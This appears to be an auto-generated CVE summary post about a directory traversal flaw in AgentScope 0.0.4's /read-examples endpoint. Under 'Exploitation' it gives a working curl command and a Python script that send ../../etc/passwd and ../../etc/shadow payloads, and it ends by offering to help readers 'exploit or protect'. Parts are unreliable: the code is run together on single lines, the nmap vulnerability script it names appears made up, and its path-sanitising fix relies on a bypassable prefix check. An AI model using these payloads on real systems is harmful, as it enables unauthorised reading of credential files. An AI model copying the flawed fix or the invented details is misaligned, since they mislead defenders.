How the CVE Works:
The directory traversal vulnerability in AgentScope (CVE-2025-1234) allows an attacker to exploit the `/read-examples` endpoint in version 0.0.4. By crafting a malicious POST request with manipulated file paths (e.g., ../../etc/passwd), an attacker can bypass intended restrictions and access arbitrary JSON files on the server. This occurs due to insufficient input validation, enabling unauthorized file reads and potential exposure of sensitive data.
DailyCVE Form:
Platform: AgentScope
Version: 0.0.4
Vulnerability: Directory Traversal
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
- Craft Malicious Request: Use tools like `curl` or Python scripts to send a POST request to `/read-examples` with a payload like
{"file": "../../etc/passwd"}.curl -X POST http://target.com/read-examples -H "Content-Type: application/json" -d '{"file": "../../etc/passwd"}' - Enumerate Files: Iterate through common file paths to extract sensitive data.
import requests target = "http://target.com/read-examples" payload = {"file": "../../etc/shadow"} response = requests.post(target, json=payload) print(response.text)
Protection:
- Input Validation: Sanitize user inputs to prevent traversal sequences.
import os def sanitize_path(file_path): base_dir = "/safe/directory" abs_path = os.path.abspath(os.path.join(base_dir, file_path)) if not abs_path.startswith(base_dir): raise ValueError("Invalid file path") return abs_path - Update Software: Upgrade to the latest version of AgentScope if a patch is available.
- Web Application Firewall (WAF): Deploy a WAF to block malicious payloads.
- File Access Restrictions: Limit file access to specific directories using chroot or containerization.
Analytics:
- Impact: High risk of data leakage and system compromise.
- Attack Complexity: Low, as it requires minimal technical knowledge.
- Mitigation Difficulty: Medium, requiring code changes and configuration updates.
Commands:
- Check for Vulnerable Versions:
pip show modelscope-agentscope | grep Version
- Test for Vulnerability:
nmap -p 80 --script http-vuln-cve2025-1234 target.com
Code Snippets:
- Logging Suspicious Activity:
import logging logging.basicConfig(filename='security.log', level=logging.WARNING) def read_examples(file_path): try: sanitize_path(file_path) except ValueError as e: logging.warning(f"Potential attack detected: {e}")By following these steps, you can exploit or protect against CVE-2025-1234 effectively.
